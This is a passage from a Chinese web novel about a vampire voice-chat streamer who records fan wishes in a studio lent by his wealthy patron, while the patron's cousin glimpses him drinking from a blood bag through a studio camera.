陈元之:“你怎么忽然和钱过不去了?不想买你心心念念的蓝宝石了?多一个大哥,每周有一次百万级别的礼物pk,乘风破浪还能推荐你去更大语音房,为什么不维护他?你就那么确定那个粥哥能一直这样给你砸钱当恋陪啊?” 宁尔看着元之:“比元之你的语音房还大吗?” 陈元之当时看宁尔什么都不会,告诉他自己的语音房等级太高,他还不够格。 这个小傻子,不知道以他现在的粉丝数和流量热度,别说他的语音房,缘来排名前十的语音房他随便挑。 “咳咳,比我的还大。” 宁尔:“哦。” “那也不叫。” 陈元之气得想吐血。 宁尔看着陈元之的眼睛认真道: “元之,我之前打那么多份工赚钱,是因为肚子太饿了。如果赚不到钱吃不到东西,我真的会饿死掉。” “现在我赚得钱已经足够吃饱饭了,也有这么多观众喜欢我为我送礼物,那颗蓝宝石,我可以继续攒钱,可能只是会更久一点。” 宁尔紧紧地握着手机说完这些话,自己都被自己吓了一跳。 明明是他梦寐以求的蓝宝石,他能回家唯一的方式。 而当这个赚钱方式摆在他面前时,自己却拒绝了。 宁尔甚至想象不到,如果有一天舟先生真的不玩缘来,或者不选他做虚拟恋人了,他应该怎么和一个新的男士或者女士再从头开始。 宁尔:“元之,我真的不想叫,球球你别逼我啦~我请你吃满汉全席呀~” 陈元之指了指自己的鼻子: “我逼你?我……你个小白眼狼。” 陈元之知道宁尔的倔脾气,不爱吃饭,只爱吃零食,只喜欢吃鸭血粉丝汤,不喜欢见阳光,从不在白天出门。 也不是他劝几句就能变的。 “算了算了,看你也没有海王潜质,你就和那个粥哥锁死吧。” “锁死是什么意思?”宁尔听到“死”字打了个哆嗦。 “……执子之手,与子偕老,永结同心,天天恩爱。” 叽叽咕咕一大堆,只能听懂“天天恩爱”。 宁尔灿然一笑,眼睛眯得弯弯的,露出几颗小白牙: “那很好呀。” 见元之不再理他,宁尔也打开缘来看了看,除了粥先生的早安以外,那个乘风破浪竟然主动给他发了3条消息。 宁尔点进去一看: [加州的阳光真惬意啊,能晒到每一寸毛孔上。这个季节在无边泳池游个泳爽翻了简直。小耳朵你来过加州吗?] [图片] [图片] 第一张图片是拍得一张泳池照片,画面中还有一支雪茄、三块手表和五把车钥匙。 第二张图片好像是他的一张自拍,男生戴着墨镜,裹着白色浴袍,浴袍松松垮垮的,透过领口能露出一点胸部肌肉的轮廓。 宁尔甚至没有点开大图,眼神在他没什么吸引力的脸上掠了一遍: [没有。] 乘风破浪很快就回了消息: [想来吗?想来我请你来玩一趟啊。公务舱机票,吃住全包。] [不想。] 乘风破浪:[偷笑/偷笑/我知道你就不来,逗你呢。] 乘风破浪:[刚游完泳歇了会儿,等下打算去找私教健身,说实话我以前特别不喜欢鲨鱼线,现在忽然觉得性感了,幸亏体质好,几个月就练出来了。] 乘风破浪:[给你看看呗?我觉得特健美。] 亲亲小耳朵:[我不看我不看] 亲亲小耳朵:[你别发你别发] 宁尔字都没打完,乘风破浪根本不听他的,直接甩过来一张浑身是汗的上半身照片,土色的短袖上满是汗渍,确实也有腹肌,在灯光下有些狰狞。 一点都不好看。 宁尔没有点开大图,蹙着小眉毛眯着眼睛打字: [乘风哥,幸亏昨天你和粥先生pk的是礼物。] 乘风破浪:[什么意思?什么叫幸亏?] 亲亲小耳朵:[如果昨天是PK腹肌的话,你会输得更惨。] 第36章 红色液体淌入口中,白皙…… 乘风破浪:[你!] 亲亲小耳朵:[我] 乘风破浪:[你你你] 亲亲小耳朵:[我我我怎么啦?] 乘风破浪觉得自己自从玩缘来之后没受过这么大委屈。 要么是直接砸礼物叫哥哥的, 要么是挤破脑袋想被他带进去高端语音房的。这个小耳朵,昨天输了之后不主动找自己聊天搭话就算了,他自己主动竟然还这样。 真是……有点意思啊。 乘风破浪咬牙切齿。 [你看过那个银耳粥的腹肌?] 亲亲小耳朵:[看过。] [他给你发的照片?] 亲亲小耳朵:[嗯。] 乘风破浪嘴角扬起一个“终于抓到把柄了”的贱笑: [能随随便便在软件上发腹肌照给你, 就也能随随便便发给别人。看来也不是什么好人嘛。] 宁尔皱着眉, 长按那张他发的小图引用: [1] 乘风破浪:[……] 亲亲小耳朵:[粥先生和你不一样, 他才没有随随便便发给我呢。] 他起码是先骗骗我才发给我的。 宁尔把乘风破浪一通呛,知道对方和他聊天的兴致全无, 这才满意地收起手机。 让人类喜欢很难。 让人类讨厌的事儿, 我们吸血鬼顺手就做了- 宁尔照例又播了几天, 他没有其他事情, 直播时间已经相对固定了, 每晚舟先生都会在他开播时候准时出现在语音房。 有时候他也在忙,只是把直播间挂在那里, 但无论多晚,舟先生都会和他说说今天忙了什么,最后一句话都会是宝宝晚安。 宁尔这次真的成了整个缘来app的红人,很多综合排名前几的语音房都邀请他去自己的房间常驻,可毕竟当初是春风哥第一个收留他的, 宁尔不愿意忘恩负义,都一一拒绝了。 结果后来春风哥差点跑了。 也不知道是谁想出来的办法,想通过挖房主的办法把语音房连根拔起。 春风哥跑了两个小时,宁尔没跟着他跑。 后来他又跑回来了。 和语音房的老粉观众立下保证书,在麦里痛改前非, 说以后绝对不会再为了钱干出这种事儿了。 乘风破浪也会有事儿没事儿来语音房转转, 他的私信宁尔基本不怎么回,所以也只有在语音房的时候宁尔会理理他。 他每次也不空手来,多多少少会砸个十几万的礼物, 发一些现金福袋。 不知道是不是他话多张扬,还是发的红包够多,竟然还有几个粉丝磕他俩的“cp”,说好甜。 不过很快就被他和舟先生的“cp粉”淹没在评论区了。 每当这个时候都会有很着急的粉丝观众问宁尔他和舟先生有没有见面,有没有表白,有没有奔现,有没有成真的。 还有一个粉丝干脆直接把ID改成了“小耳朵和粥先生今天在一起了吗”,每天都在宁尔的眼前发言。 不过宁尔一点也不着急,舟先生从来不轻易做承诺。 上次他答应宁尔,他们“下次”会见面的。 缘来的官方可能知道了宁尔到现在还没有一个像样的直播设备,竟然免费给他邮寄了一份声卡和麦克风。 宁尔其实自从答应了给大家录制定制语音之后,自己也从网上买了一套很贵很贵的直播设备。 他自己可以用声音嘈杂的破手机,但给粉丝观众录音一定要很清晰。 9月初的A市盛夏已过,夜晚的空气已经不是那么滚烫炽热,可只要太阳出来还是让吸血鬼无处遁形。 宁尔拜托元之帮他去快递站把两套录音设备都拿回来,又帮元之一起安好,兴奋地在麦克风前“啊啊啊”。 元之一脸无语地看着他: “你啊什么?” 宁尔眨着无辜的碧绿色漂亮眼睛:“我在试音呀元之。” 陈元之听着他像鬼叫一样的啊啊啊,一乐: “试音不能这么试,得说话,说话才能试出来。” “你这些设备里还有个变声器,连接手机上的软件,还可以把你的声音变成各种各样。” “还能这样啊。”宁尔感慨。 陈元之又三两下帮他安装好变声器: “行了,试试吧。说你想说的话就行。” 宁尔把嘴巴凑到麦克风前,舔了舔嘴唇,抬头眨了眨眼,眼睛亮亮地看着陈元之: “元之,我学会了,我自己试就可以啦~” 陈元之:“……你想说得话我不方便听是吧?” “服了。八成还是个恋爱脑。” 元之不想理他,站起身抬脚要走,宁尔拽住他的短袖: “对了元之,这样的设备我给你也买了一套一样的。虽然不知道会不会好用,但应该比我们现在的好。” “我觉得是你会需要的。” 这套设备有小几万了,宁尔直接一声不吭给他买了。 这段时间宁尔赚了钱之后基本已经请他和靳伟吃过很多次饭了,哪怕之前确实是被他和靳伟接济小耳朵够,他也早还够了。 陈元之也没收到过这么贵的礼物,一时间有点儿发愣。 “已经到快递站了,你可以再去取一下,和我的一样,是你的名字。” 宁尔微微笑起来,一张漂亮得让人暂停呼吸的精致小脸上眉眼弯弯。 “什么?到快递站了?那你刚才不说?” “我怕你拿你的,不帮我拿我的。”宁尔咽了口口水。 元之总是威胁宁尔不给他取快递。 “……我服了我真服了。” 他说着吐槽的话,嘴角还是控制不住上扬,快步跑出去取快递了。 宁尔关好门,坐在椅子前,把一大堆线缠绕明白打开麦克风,直接点开舟先生的聊天框: “哥哥。” 他本身的偏清澈低沉的少年音。 他把声音夹了细,学着元之平时的样子: “哥哥。” 明显矫揉造作的声音从麦里传来,麻得宁尔自己脸皮一红。 他又把声音往低压了压,学着春风的气泡音: “哥哥~” 他又点了一下那个环境音里的“浴室音”: “哥哥~” 声音果然空旷了起来,好像隐约还有淋浴的水声传来。 哇,这简直是人类的魔法。 宁尔又切换成“夏日旷野”,声音稍稍扬高,少年感十足地喊了一声: “哥哥!~” 这次的声音真的像是他和舟先生一起奔跑在旷野草地上,在阳光下回头看着金灿灿的舟先生,让他跟上来。 小吸血鬼一辈子都不可能经历的场景,竟然仿佛在一种声音里实现了。 宁尔又把每一种环境音都试了一遍,好奇地点开了变声器。 青年音。 “哥哥。” 比他自己的声音稍微厚重一些,总体差别并不大。 青叔音。 “哥哥~” 宁尔捂住了嘴巴,这个声音的音色竟然和舟先生的声音有点相似了。 太神奇了。 那是不是说…… 宁尔点开录音,学着舟先生的语气用变声器道: “小耳朵,下次见面,让你看我的眼睛。” 真的几乎一模一样。 哈哈哈哈哈。 “小耳朵,你叫了我那么多次哥哥,我也叫你一次吧。小耳朵哥哥你好,我是小舟。” 哈哈哈哈哈哈。 宁尔被这个模仿笑得肚子疼,差点倒在地上打滚。 他又看到一个“萝莉音”,萝莉,一定是女孩子,女孩子也能变吗? 宁尔忐忑地叫出一声“哥哥”,点开再听,真的完全是一个软软萌萌的女孩子的声音。 哇!这样是不是如果有一天舟先生又喜欢女孩子了,他也能开一个新号假扮女孩子和他聊天呀? 他又挨个把御姐、少淑、甜妹等音全部用“哥哥”两个字试了一遍,沉浸在自己的艺术中不知天地为何物。 变声器都试过之后宁尔看到角落里有一个小小的“喘息”,喘息,会把声音自动变成叹气么? 宁尔试着对着话筒拉长语调,小心翼翼地说“哥、哥。” “哥……啊~、呵哥~~” 宁尔点开一听吓了一大跳。 两个字不仅没有变成叹息,反而加上了一种奇怪的语气,真的像是做完运动喘着气抑制着呼吸从嗓子里呵出来的两个字。 宁尔把红烫的脸缩进领子里。 为、为什么会有这样的声音呢…… 不玩了不玩了- 一场精彩动人的环保小型演讲结束,C国主讲人下台直奔中心傅宴舟的位置,正要伸手握手,傅宴舟惯性打开缘来,亲亲小耳朵的对话框里有三十多条未读。 傅宴舟心一凛,眉间几不可查蹙起,看到三十多条2秒的语音,没有管那只伸到一半儿的手,直接把手机放在耳边点开。 “哥哥” “哥哥~” “哥哥” “啊……哥、呵哥……” 几位主讲人、专家、总裁、助理一声不敢地垂手礼貌站在原地,一直到这位华国盛景集团董事长把紧急事情处理完。 大概一分钟过去,这位华国盛景集团董事长眉间终于沉冷微舒,嘴角似乎露出一抹愉悦的笑意弧度,几位才松了一口气。 再度伸出手,用流利的英文问询傅董对于这个环保项目的看法。 C国组织团队连夜飞到华国,这场高端前沿的讲座旨在向傅宴舟—这位为极地环保项目一直以来提供大量稳定资金支持的华国总裁汇报惊人的最新发现,即楚科奇海域附近勘探到鲛人总计。 演讲里也生动引用了地球上其他超越人类认知物种的存在,诸如对于凤凰、斯芬克斯以及吸血鬼。 主讲人隐约觉得,这位董事长全程只有在他们在讲到世界上存在吸血鬼这一例证时稍稍有些兴趣,但也仅是转瞬即逝。 此次大费周章的讲座最终目的也不仅仅是金钱投资,而是所谓的“鲛人”项目已经受到了当地政府的阻碍,希望傅宴舟可以亲自去一趟极地国家,连同当地大使一起洽谈。 一席精彩动人的私人劝说结束,主讲人带着万分期待的目光忐忑地看向傅董。 这位华国环保主义者已经无偿投资了大量金钱设备,和一个典型的不相信神秘主义者谈保护“鲛人”,他们自己都觉得是一件很扯淡的事。 就像华国那句老话。 羊毛,只抓住一只羊薅。 傅宴舟手机并没有收起来,没有再看那本精致的项目介绍书,转头和肖特助低语了几句,用中文回答: “我还有事儿,这次出行的具体事宜由肖特助和各位对接。” “我尊重贵司的科研勘探成果,不过,以后有关这种传说神话就不用再给我讲了。” 傅宴舟说完就先走了,留下一众人站在原地心情复杂。 喜得是傅董同意了亲自到访,复杂是因为他果然完全不相信世界上现在仍有鲛人或者吸血鬼等。 肖特助看着几个人还不够满足,眼皮抽了抽。 傅总这次愿意亲赴极地,完全是为了濒危生物保护。 至于什么神神鬼鬼的,谁不知道傅总是个无鬼神论者,整个盛景上下谁敢在他面前提- 宁尔骚扰了舟先生三十多句哥哥,对于麦克风的掌握渐入佳境,录音,双声道,唱歌,玩得不亦乐乎。 可是不知道为什么,录出来的声音虽然很清晰,但好像也不能和别人给观众粉丝送的录制音频一样有质感。 宁尔正在纠结,舟先生回了消息: [叫哥哥有事?] 舟先生还不知道他买了新设备,宁尔嘴角一扬,告诉舟先生是他新买了一套设备,在试音,得找个地方记下来,所以就一股脑都发到舟先生的对话框了。 [哥哥你不用听啦,不用浪费时间。打滚/打滚/] [这句比较好听。] 舟先生引用了他的第一声“哥哥”。 那是他本来的没有任何修饰过的声音。 舟先生,竟然把三十多条哥哥都听了…… [这句也不错。] 舟先生引用了那句喘息声。 宁尔:“……” [不过可能更适合面对面听,宝宝觉得呢?] [哥……哥……]宁尔脸红了。 银耳粥:[你的设备还不错,不过好像环境有点不够安静,影响了质感,这样可以吗?] 舟先生认真地指出问题,一下子就点出了困扰宁尔的关键点。 原来是因为出租屋不够安静! 楼道里从早上开始不停地有开关门、高声吵架或者闲聊大笑的声音,屋外有大车经过。 尽管耳机自带降噪的特效,但宁尔自己的听力很好,一紧张就会影响说话的流利。 难道要他花钱换个房子住吗? 那、那也有点太奢侈了吧…… 他可以为了观众粉丝花钱,但、但也不可以花太多…… 银耳粥:[稍等] 宁尔害怕舟先生又要送他什么更好的设备,赶紧打字: [没关系没关系哥哥,我还有一套设备的,我再试试……] 银耳粥:[定位] 银耳粥:[这是一间有专业录音房的工作室,离A市中心不远,等会儿我让司机送你去录制。] 亲亲小耳朵:[不用了不用了哥哥,我有10000条,可能得录好几天……] 银耳粥:[好几年都没关系。] 宁尔看着专业录音房很心动,但还是叹了口气打字: [对不起哥哥,我不太喜欢和别人在一个房间录制。也、也不喜欢在有太阳的时候出门。] 银耳粥:[这样啊。] 似乎是打了一个电话的时间,舟先生又发来消息: 银耳粥:[我发一串门的密码给你,以后这个密码只有你知道,这间工作室无论你什么时候去都可以,只有一个人。直到使用完毕。] 宁尔呆呆地看着这句话,有些懵地打字: [哥哥,你是为了我买下了一间工作室吗?] 傅宴舟嘴角微微扬起: [没有,只是和朋友借用。放心用,别有心理负担。] 宁尔没有了拒绝的理由,和舟先生道谢之后就开始先练稿子了- 今天的落日时间是19:12分,宁尔盯着墙上的挂钟,秒针转到“12”数字的那一刻,抓起帽子眼镜头也不回地窜了出去。 他今天还约了中介买了两个血包,要录音要很晚,需要保持充足的体力。 中介最近和他要的“吸血鬼基金费”越来越多了,宁尔有时候怀疑他是不是在骗自己,可中介却信誓旦旦说,如果不相信,可以亲自带他去见其他找他买血包的吸血鬼。 他也不是为了钱,主要是怕如果真有吸血鬼饿死了,他这个中介容易惹上麻烦。 或者有吸血鬼饿得不行伤害了人类,他也会惹上麻烦。 宁尔对他的话半信半疑,但他并不敢去见其他吸血鬼。 万一……万一他们是公爵和公爵夫人派来追杀自己的呢…… 曾经的爸爸妈妈,真的会那样做吗? 宁尔晃晃脑袋,不再想这件事,拎着两包新鲜的血包往舟先生发的录音室跑去。 他只用了五分钟就跑到了,大门果然像舟先生说的一样是密码锁。 宁尔站在门口小心翼翼输入密码,门“咯噔”一声开了。 宁尔好奇地探头探脑走进去,走进正常的房间,一道重重的门出现在面前,宁尔拉开门—— 一间看起来很温馨的房间里墙上都是黑色的海绵,声音掉进屋子里仿佛都被吸收掉了。 桌上是三台连起来的高级电脑,还有一大堆宁尔看不懂的机器。好像除了录音之外,这里还可以直播。 在这里录音说话,就可以有非常好听安静的声音吗? 仿佛是猜到了宁尔不会使用,头顶的一个大电视忽然开始播放一个视频,画面上的人像是一位老师: “哈喽亲亲小耳朵,欢迎来到这间工作室录音,下面我会给你详细讲解一下所有录音设备的用法,跟着我的脚步用起来吧~” “……” 宁尔仰着头张大嘴,舟先生,也太贴心了吧…… 宁尔认真地看完视频,一次就把所有机器都成功打开了。 他坐在麦克风前,戴上头戴耳机,打开了春风哥在愿望粉丝群里帮忙整理好的粉丝投稿。 “小耳朵小耳朵,我明年就要高考了,可以祝福我考上心仪的学校吗?而且而且,我心仪的学校就在A市哦!” “小耳朵小耳朵,我磕的cp最近又营业啦!(不是说你和粥老板哈),可以帮我录一段祝他们99的愿望吗。” “小耳朵小耳朵,我的爷爷上个月永远离开我了。每次想到他的时候我都很想哭。我从小都是他带大,还没来得及让他过上好日子……每次半夜梦到爷爷我都很难过,你可以给我加加油打打气,告诉我要更坚强一点吗?” 宁尔看着这些代表着人类世间百态的祝福与祈愿,深深地吸了一口气,摘掉口罩,坐直身体,手把麦压低,开始一字一句录制- 晚上9点半,一辆黑色劳斯莱斯悄然停在了录音工作室对面的马路上。 驾驶位上的年轻男人抬头看着录音工作室亮起的灯光,满眼不舍与憋屈的愤愤。 他扭过脑袋看着后座西装革履,双腿交叠,没事儿人一样看新闻的男人,痛心疾首: “表哥,我到底是不是你亲表弟?你怎么能说征用就把我的工作室征用了呢?” 傅宴舟口中的“朋友”正是他的大冤种表弟傅柏。 自己凑热闹从事直播,按照他花里胡哨的性格,不管水平怎么样,设备一定是最高级的。 没有比他工作室更合适的。 “话多。” 傅宴舟没搭理他。 一个电话让自己从工作室里卷铺盖走人,现在还嫌自己吵? 我要闹了。 傅柏像一条搁浅的鱼一样扭动身体: “我不管我不管,到底谁啊?还是主播?难道还是上次那个?” 傅宴舟冷冷地乜了他一眼,薄唇轻启: “还能有几个?” “我去,表哥,你可真专情啊。一入直播似海深,以你的财力和大方程度,我以为早就守护了N个主播了。没想到你还是个大情种。” 傅柏这话不都是阴阳怪气,傅宴舟多财多亿,重亲情他是知道的,没想到对待感情也像个恋爱脑。 在一个脸都没露过的小主播身上用心这么久。 起初他还担心小主播被玩弄,现在竟然有点担心这个杀伐果断的铁腕总裁表哥了。 傅柏看到傅宴舟那双望向车窗外对面小楼的眼睛,眼里竟然是他几乎从没见过的温柔。 傅柏挠了挠头: “表哥,他知道你是谁吗?” “不知道。” “也是,肯定不知道。要是知道了肯定不会这么沉得住气不见面,早就跑盛景楼下堵你准备上位当男老板娘了。” “肤浅。”傅宴舟薄唇轻启。 “那你打算什么时候见他?或者,会见他吗?他该不会认不出来你是傅宴舟吧?毕竟也不是人人都关注商业新闻。” 傅宴舟手指在车窗边沿轻点了两下: “见。等这次从极地回来。” “他知道傅宴舟的样子。不过,不知道我就是傅宴舟。” 傅柏顿时睁大眼: “我去。那这见面得是什么样的啊。你要不要带个律师或者先拟个合同啊?哪怕恋爱也要保护好自己啊。” 傅柏在娱乐场里混久了,不少搞擦边的主播胆子都很大,逮住傅宴舟这种超级大肥羊说不好要怎么下嘴。 傅宴舟没搭理他,沉默了一会儿,看着傅柏的眼睛深深道: “他不是你想的那样。” 傅柏被这个眼神看得愣了一下。 也对哦,他表哥是谁,傅宴舟啊。 就算没谈过恋爱,傅宴舟看人也不会走眼。 既然他都这么说了,那应该的确是个与众不同的男孩。 傅柏努努嘴: “行吧,我倒要看看这男嫂子在录什么高端专辑,还非得跑到我工作室。” 傅柏说着在傅宴舟没反应过来的时候打开一个app,小耳朵的声音瞬间从里面传来。 傅宴舟眉头一皱: “这是什么?” “实时耳返啊,这套录音设备绑定过我的手机,都能实时从app里传出来听啊。” 傅宴舟没来得及让他关掉,小耳朵的声音就同时吸引了两个人的注意里。 “亲爱的福宝,马上就要高考啦。考试从来不是人生的终点,而是一个个起点。希望你能用最好的状态和最放松的心态去面对考试,站在这束光河的起点上,以后的每一步都在向光而行。美好的未来在等你吖~” “亲爱的开颜宝,离别并不是人生的终点。对于爷爷来说,他最大的期望并不是你过上好日子,而是,而是你人生的每一天都如像小时候和他生活在一起那样幸福……” 这条小耳朵说着说着可能自己有些难过,清澈的声音明显哽咽,把录音暂停掉,对着麦克风大口呼吸了几下。 傅柏都有些愣了: “这、这是在录定制祝福?他答应了多少条啊?” 定制祝福这种玩法在直播间很常见,不过在家买个好点的设备录录完全就够了,至于还专门跑到录音房吗? “一万条。” “夺少?一万条???那我这几个月还能用上这个工作室吗?我的小萝会想我的啊!” “什么小罗?你不是说这里没有其他人?” 傅宴舟几乎就要开车门下车。 “不是不是,绿萝!绿萝!” “……” 傅宴舟懒得再搭理他,继续听着小耳朵在麦里的录制。 傅柏没再问“每条收多少钱”这种俗问题。 这钱再多,估计都比不上傅宴舟一晚上砸得。 这个小主播,估计是发自内心给粉丝送这份福利的。 他的每一条语音稿子都像是自己的写的,每一条都录足几分钟,没有半点敷衍,声音干净清晰,饱含真诚。 仿佛真的希望每一句从他口中说出的愿望都能实现,又仿佛遗憾不能真的安慰到每一份失落的投稿。 傅柏听着他的声音,仿佛都能想到对面是一个笑起来干净漂亮的纤瘦少年。 再扭头看傅宴舟,他的胳膊搭在车窗边沿,认真地听着麦里传出来少年的每一句话,月色勾勒在他挺拔的鼻骨上,动容的眼神温柔地如同糅碎了星光。 少年估计是累了,打了一个哈欠之后声音戛然而止。 傅柏把身体转回驾驶位,把手机按亮,刚想关掉app,就看到手机里的监控画面不知道什么时候亮了,好像是被那边开了。?? 他刚疑惑地“哎”了一声,下一秒,少年的脑袋直白地出现在了监控镜头前。他显然不知道这个是监控摄像头,还好奇地摸了摸镜头。 少年先是着把那顶压着额头的帽子摘了,又把那副黑色的大框眼镜摘掉放在一旁。 这两样遮挡物一摘,傅柏似乎被电了一下。 少年碎发随意扒在额前,整张脸皮肤白皙光洁,鼻子小翘,下巴微尖,薄薄的嘴唇红润,隔着稍有变形的屏幕都能看出来整个人漂亮的像一只假的洋娃娃。 最关键的是那双碧绿色如宝石般的双眼。 傅柏从来没见过这样的瞳色,对着镜头轻眨,眸光流动,就像、就像不是人类一样。 下一秒,少年伸了一个长长的懒腰,解开一颗领口的扣子,从一旁的纸袋子里拿出一袋红色的像是装满鲜血的血袋。 他轻轻张嘴,两颗小小的尖牙从无到有,越伸越长,狠狠地咬在了“血袋”上。 红色液体淌入口中,白皙的喉咙随之上下滑动,脑袋一歪,碧绿的瞳孔猛地缩张,死死地盯住了摄像头—— 作者有话说: 傅柏(声嘶力竭):表哥!他是吸血鬼啊!你信我他真是吸血鬼啊!!! 傅宴舟:我是秦始皇 第37章 这里有你的幻想接吻…… “啊!!” 傅柏像土拨鼠尖叫了一声, 手机险些扔出去砸到傅宴舟。 傅宴舟不悦地看了他一眼: “稳重点。” 傅柏来不及解释,直接拉开车门跑到后座,死死地捏着手机看着傅宴舟, 嘴唇哆嗦: “鬼啊, 表哥, 有鬼啊!!!” 傅柏下意识想直接拿起手机给傅宴舟看,结果监控不知道什么时候黑了, 手机的画面也随之消失。 “什么鬼?”傅柏虽然吊儿郎当, 也不敢颠倒在傅宴舟面前开这种玩笑。 傅柏瞪着青牛般的大眼睛, 指着手机: “鬼, 吸血鬼, 很漂亮,这个少年, 不对,少鬼,不是人。” 傅宴舟眯了眯眼: “你最近是不是看多了,还是昨天的酒还没醒?” “真的是鬼表哥!我没开玩笑!我刚刚亲眼看到他面对摄像头,摘下帽子, 摘下眼镜,眼睛是绿色的,小嘴里伸出两根长长的尖牙,咬开了一袋活人的鲜血血袋,盯着摄像头喝着。” “你要是不信咱俩现在上去, 保准抓他个正形。” “不对不对, 他是吸血鬼,咱俩上去得送命。表哥你把你把你的保镖队叫来,每人带两串大蒜, 人手一支200瓦强力手电筒,咱们一起去抓他。” 傅宴舟挑挑眉: “还不够吧?要不我帮你报个警,让特警扛着AK出动直升机?” 傅柏:“……表哥!!” “手机拿来我看看。” 傅柏痴痴呆呆地交出手机,有些懊悔道: “现在已经没有画面了,都怪我抠门没买sd卡储存,回放都没有。” 傅宴舟拿着傅柏的手机点了几下,很快又还给他: “我已经帮你把手机和工作室的摄像头解绑了,摄像头我会找人拆除,从今天起直到他使用完录音室,都和你没有关系。” “表哥……” 傅宴舟眼神深深地看着傅柏: “傅柏,在他人完全不知情时,任何形式的窥探都是卑鄙的。” 傅柏眼神中蒙上泪意,声音颤抖: “表哥,你骂我卑鄙……” 傅宴舟:“……” “他为了吸引眼球,在软件上的人设就是小吸血鬼。我查过相关医学书籍,有可能存在一定的幻想成分,所以会故意模仿相关行为。” “那他刚刚喝得血袋?” “红石榴汁。他喜欢喝奶茶。” “……” 傅柏感觉自己要碎了。 “那他不会白天出门你怎么解释?你上午就给我打电话要用工作室了,他晚上才来,而且正好是7点多太阳下山之后。你好好想想,你俩相处的过程中他有没有白天出过门?” 傅宴舟听完这段压根不回话了。 傅柏脆弱地看着这个被爱情冲昏头脑油盐不进地表哥,扯住他的衣角: “表哥,你看过封神演义吗?封神榜,哪吒,都行。” 傅柏:“?” 傅柏指了指对面的小楼: “他,现在就是狐狸精妲己,你,就是被迷惑的纣王。而我,就是一心为了你好的忠臣比干!你非要我像比干一样把心挖出来给你才信吗?” “总是给些没人要的东西。” “……” 傅柏er地一下晕过去了。 傅宴舟淡淡地把他拽着自己的衣角的手拉开,看了一眼腕表,快到小耳朵上线直播的时间了。 “工作室的地价增值价以及所有设备算个总价报给肖特助,我以购买的价格租用到他使用结束。” “你说的话我有自己的判断。不想我限制你人身自由的话,今天过后当做不知道这里,如果你以任何方式接近或者伤害他,你知道后果。” 傅宴舟眼神一凛,用那种不容置疑的大家长威严眼神看向傅柏。 “你为什么害怕吸血鬼?”傅宴舟又问。 傅柏努力回神,几乎是脱口而出: “因为他们是一个、一个野蛮的物种啊,会吸血啊,会伤害人啊,吸完血人就死了啊。” 傅宴舟嘴角不屑地冷笑了一声: “所以,一个以吸人血为生的野蛮物种,会无聊大费周章借录音室真情实感地给人类录制一万条心愿么?” 傅柏一时间被噎住了。 “这个世界上没有鬼。” 傅宴舟一语定音。 傅柏被他看得心里哆嗦,将信将疑地看向对面的工作室。 难道真的是心理问题,扮演吸血鬼吗? 可是,可是那两根尖牙也能自动伸出来吗? 他没有看错,那么近的距离,他绝对没有看错。 傅柏的精神状态不再适合开车,傅宴舟直接把人赶下去,自己也没有发动车辆的打算。 手机里缘来app直播准时响起,少年无比清晰软糯的声音传来“亲亲小耳朵,欢乐多多~” 傅宴舟松了松领带,修长的手指在方向盘上有节奏地敲击着。 第一次去医院,是在夜里。因为没有身份证,所以哪怕受伤也一直拖着。 第二次住酒店,也是在夜里。后来酒店人员告诉傅宴舟,那位先生的退房时间不到凌晨4点。 这次的确也是。 傅宴舟查询了一下今日的日落时间,五分钟后,小耳朵就来到了工作室。 他的确,很不喜欢晒太阳。 傅宴舟莞尔,嘴角的弧度像是能包容少年一切“奇奇怪怪”行为。 看来,第二个疗程的保健品要增加一些钙片了- 宁尔吃饱喝足,悠闲地又在椅子上伸了个懒腰。 当事鬼丝毫没有发现,他已经完完全全暴露在人类的眼中了。 他刚刚发现了一个好玩的机器,像一只眼睛一样,会跟随他的动作摇头晃脑。 他是机器鬼吗? 宁尔左摇摇右晃晃,最后还露出尖牙吸了血包吓唬那个机器鬼。 对方果然不敢动了。 可怜的机器鬼。下辈子还是投胎做小吸血鬼吧。 宁尔准时登进语音房,录制语音的确不是一件容易的事。 宁尔要先想好稿子,再去网上查一些好词好句,等到录制的时候又要用最好的状态连续不断读几分钟,中间有一点卡壳就要重来。 才几个小时,宁尔的嗓子已经有点儿冒烟了。 他试过音之后评论区立马说“感觉小耳朵今天不一样了”、“小耳朵今天的声音好清晰啊”、“小耳朵终于舍得买一部新手机了吗” 宁尔因为一直不换手机炸麦,“小抠男”的人设早就在评论区立稳了。 他有些不好意思地挠挠头: “宝们,我没有换手机。不过我今天没有在家播哦~今天白天在帮大家录制定制语音,来了一个朋友帮忙找的工作室。” [什么录音工作室半夜还开门啊] [只能是私人工作室了吧] [哈哈哈哈什么朋友啊,好难猜呀] [你这个朋友该不会姓“周”吧。] 宁尔总是在麦里称呼“舟先生”,评论区也一直叫“粥哥、粥老板”,他们和宁尔一样,理所当然认为粥先生可能姓周。 宁尔一秒钟就被这么多人猜到了心思,一点儿隐私私鬼权都没有。 他黏糊糊回答道:“嗯。” [!!!面基了吗?] [粥老板在的吧在的吧] [总不会粥老板不在,把小耳朵自己丢去录音吧?] [粥老板怎么会随随便便就拥有一家录音工作室?难道粥老板其实是什么大明星???] [哇哇哇不是吧不是吧,有点太好磕了啊。] [要是咱们都知道那种顶流呢?不敢想不敢想。] 宁尔看到评论区又开始往歪猜,赶紧纠正他们: “舟先生不是什么大明星啦,舟先生是一名……很厉害的老板。大家也不用猜我们什么时候见面啦,如果真的有见面那一天,我会第一时间和大家分享的。” [尊嘟假嘟!你们cp粉吃这么好的吗?] [宠粉这一块/.] [笑死小耳朵你别太真诚了] [你们第一次见面的时候可以直播吗] [全网第一个直播和榜一大哥见面的主播有] [不敢想象小耳朵那时候得涨粉多少啊,缘来服务器能不能顶住啊] 这个话题激烈讨论了一会儿,很快就有人点小耳朵互动才艺。 他的嗓子的确有点不舒服了,有种淡淡的冒烟感,勉强互动了两个之后在麦上道歉,说今天自己可能不太才艺互动。 3号一听这话立马帮他解围: “没关系啊,不互动咱们今天改游戏房呗。这几天天天学前男友道歉道得我嗓子都干了。” 5号流浪小皮: “其实我也是,上一个恋陪客人每天晚上不定时给我打电话,我都快神经衰弱了。只有一次没接到我就被拉黑了呜呜呜。” 春风与你皆过客:“我也没好到哪去,上周奔现被拉黑了。说我是精神小伙混的人。” [哈哈哈哈哈哈哈哈] [哈哈哈哈不是,还有人敢和春风哥奔现?] [春风哥你该不会穿着缘小圈照片里那种紧身T恤豆豆鞋吧?] [原来大家都过得七荤八素啊。还以为你们最近赚了钱就不努力了呢。] 评论区说出了宁尔的心声,也跟着他们一起嘿嘿嘿笑。 笑够了大家一致决定今晚的房间不互动,直接改成纯游戏娱乐房。 玩起电子酒桌游戏来更是春风的舒适区,直接控了全场的麦: 春风:“玩什么?真心话大冒险怎么样?” 